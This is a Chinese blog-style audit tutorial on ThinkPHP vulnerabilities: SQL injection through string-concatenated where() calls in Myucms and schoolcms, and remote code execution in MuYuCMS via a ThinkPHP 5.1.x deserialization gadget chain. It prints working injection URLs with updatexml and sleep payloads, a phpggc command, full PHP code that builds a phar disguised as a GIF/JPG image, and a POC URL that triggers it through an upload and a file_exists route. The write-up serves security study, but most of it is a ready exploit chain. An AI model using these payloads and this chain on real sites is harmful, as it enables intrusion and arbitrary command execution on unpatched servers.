0
点赞
收藏
分享

微信扫一扫

ThinkPHP审计(1) 不安全的SQL注入&PHP反序列化链子phar利用&简单的CMS审计实例

ThinkPHP代码审计(1) 不安全的SQL注入&PHP反序列化链子phar利用&简单的CMS审计实例

文章目录

一.Thinkphp5不安全的SQL写法

Thinkphp官方提供了SQL接口,已经为SQL语句进行了预编译

但是不安全的写法,仍然可以造成SQL注入

https://www.kancloud.cn/manual/thinkphp5/135176

image-20240401193819525

//官方写法

public function login(Request $request)

{

​	//index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23

​    $id=$request->param('id');

​    $data=Db::table('cw_admin')->where('id',$id)->find();//以数组形式传递

​    return $data['user'].'|'.$data['pass'];

}

​ 这里的SQL语句,相等于直接进行SQL语句拼接

//不安全写法

public function login1(Request $request)

{

​    //index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23

​    $id=$request->param('id');

​    $data=Db::table('cw_admin')->where("id = $id")->find();//直接进行赋值

​    return $data['user'].'|'.$data['pass'];

}

比如Myucms 2021版 中 前台SQL 注入

image-20240401195437179

可以判断是基于Thinkphp 5.0.24二开的

我们暂时忽略后台SQL,没有实战意义

image-20240401194347564

可以发现在application/bbs/controller/User.php

前台bbs可能存在 SQL注入

    public function xiaoxidel($ids)
    {
        if (!session('userid') || !session('username')) {
            $this->error('亲!请登录',url('bbs/login/index'));
        } else {
        	if ($ids==0) {
        	$id = input('id');
        	$data['open'] = 1;
			if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) {
				return json(array('code' => 200, 'msg' => '标记已读成功'));
			} else {
				return json(array('code' => 0, 'msg' => '标记已读失败'));
			}
        	}elseif ($ids==1){
        	$id = input('id');
			if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) {
				return json(array('code' => 200, 'msg' => '彻底删除成功'));
			} else {
				return json(array('code' => 0, 'msg' => '彻底删除失败'));
			}
        	}
        }
    }

image-20240401194642137

可以访问路由/index.php/bbs/User/xiaoxidel 判断功能点存在

image-20240401195035273

/index.php/bbs/User/xiaoxidel/ids/0/id/1 and updatexml(1,concat("~",user(),"~"),1)可以判断确实存在SQL注入

image-20240401195237890

也可以黑盒测试一下 也存在SQL注入

image-20240401200109110

二.Thinkphp3 SQL注入

原理分析:https://www.freebuf.com/articles/web/345544.html

schoolcms也是基于MVC-thinkphp框架实现二开

https://github.com/gongfuxiang/schoolcms

image-20240401202321016

基于 Thinkphp 3.2

顺便访问一下网站

注意路由访问方式index.php?m=Home&c=Article&a=Index&id=1

Application/Admin/Controller/ArticleController.class.php

SaveInfo功能

这里直接拼接可控变量到查询语句中

image-20240401204855791

判断功能点存在 index.php?m=Admin&c=Article&a=SaveInfo

测试了一下爆错,没有数据回显

测下 时间盲注index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=1 and sleep(3) %23

image-20240401210226126

可以判断存在SQL时间盲注

三.Thinkphp链5.1.x结合phar实现RCE

thinkphp 5.0.x思路类似

渗透实战中,往往使用phpggc实现快速利用

image-20240405182301081

结合已知的phpggc小工具利用链+文件上传功能phar文件

常见触发 phar 关键函数 (和文件流相关操作有关) 实现隐式反序列化

image-20240401211202391

原理:

当通过phar伪协议访问 phar文件时会自动反序列化 属性

等价于实现了 unserialize(phar的属性)

常用

image-20240401210709920

1.自动生成

./phpggc -s ThinkPHP/RCE1 system calc -pj Cat03.jpg -o cat.jpg

image-20240401221232559

现在只要有上传点+phar就可以实现RCE了

2.手动构造

结合gadgets.php

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("smi1e" => "system");

        public function get($system)
        {
            $this->data = array("smi1e" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}

在chain.php中

<?php

namespace GadgetChain\ThinkPHP;

class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '5.1.x-5.2.x';
    public static $vector = '__destruct';
    public static $author = 'Smi1e';
    public static $information = '
        This chain can only execute system().
        Because the second parameter is uncontrollable
    ';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];
        $Conver = new \think\model\Pivot($parameter);
        return new \think\process\pipes\Windows($Conver);
    }
}

定义namespace命名空间

return回来的数据就是序列化的数据

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("smi1e" => "system");

        public function get()
        {
            $this->data = array("smi1e" => "calc");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}

namespace {

    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);


    $phar = new Phar('x.phar');
    $phar -> stopBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($a);
    $phar -> stopBuffering();
}
?>

phar签名添加GIF89a绕过图片类型检测

实例分析

以MuyuCMS木鱼cms审计为例子

存在后台图片上传+phar实getshell的效果

https://github.com/MuYuCMS/MuYuCMS

先查看index.php 判断应用入口

image-20240405174053457

判断内置thinkphp版本 5.1.41 可以拿通用的5.1.X反序列化链打

image-20240405174926260

可以全局搜索一些关键函数

比如在application/admin/controller/Update.php存在判断file_exists

image-20240405175423531

public function rmdirr($dirname)
    {
        // Sanity check
        if (!file_exists($dirname)) {
            return false;
        }
        // Simple delete for a file
        if (is_file($dirname) || is_link($dirname)) {
            return unlink($dirname);
        }
        // Loop through the folder
        $dir = dir($dirname);
        while (false !== $entry = $dir->read()) {
            // Skip pointers
            if ($entry == '.' || $entry == '..') {
                continue;
            }
    		if($entry == 'mdata'){
    			continue;
    		}
            // Recurse
            $this->rmdirr($dirname . DIRECTORY_SEPARATOR . $entry);
        }
        // Clean up
        $dir->close();
        return rmdir($dirname);
    }
  1. 目标函数名是 rmdirr
  2. 没有判断需要绕过
  3. 可控dirname的值
application/admin/controller/Update.php
对应的路由

host/admin.php/update/rmdir.html?dirname=phar://

image-20240405175831128

可以在内容上传处存在 尝试上传 phpgcc一把梭的文件

image-20240405180731943

发现对 文件头做了过滤,但是我们可以手工生成一下phar链

弹出一个计算器就算成功

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("smi1e" => "system");

        public function get()
        {
            $this->data = array("smi1e" => "calc");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}

namespace {

    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);


    $phar = new Phar('x.phar');
    $phar -> stopBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($a);
    $phar -> stopBuffering();
}
?>

修改phar后缀为jpg文件后缀

可以成功上传phar文件

image-20240405181519940

/public/upload/images/660fcf186ab58.jpg

POC

http://127.0.0.13//admin.php/update/rmdirr?dirname=phar://.//public/upload/images/660fcf186ab58.jpg

image-20240405182021357

可以实现攻击

下篇文章结合thinkphp5.x的原理实现做几道最近的CTF题

举报

相关推荐

0 条评论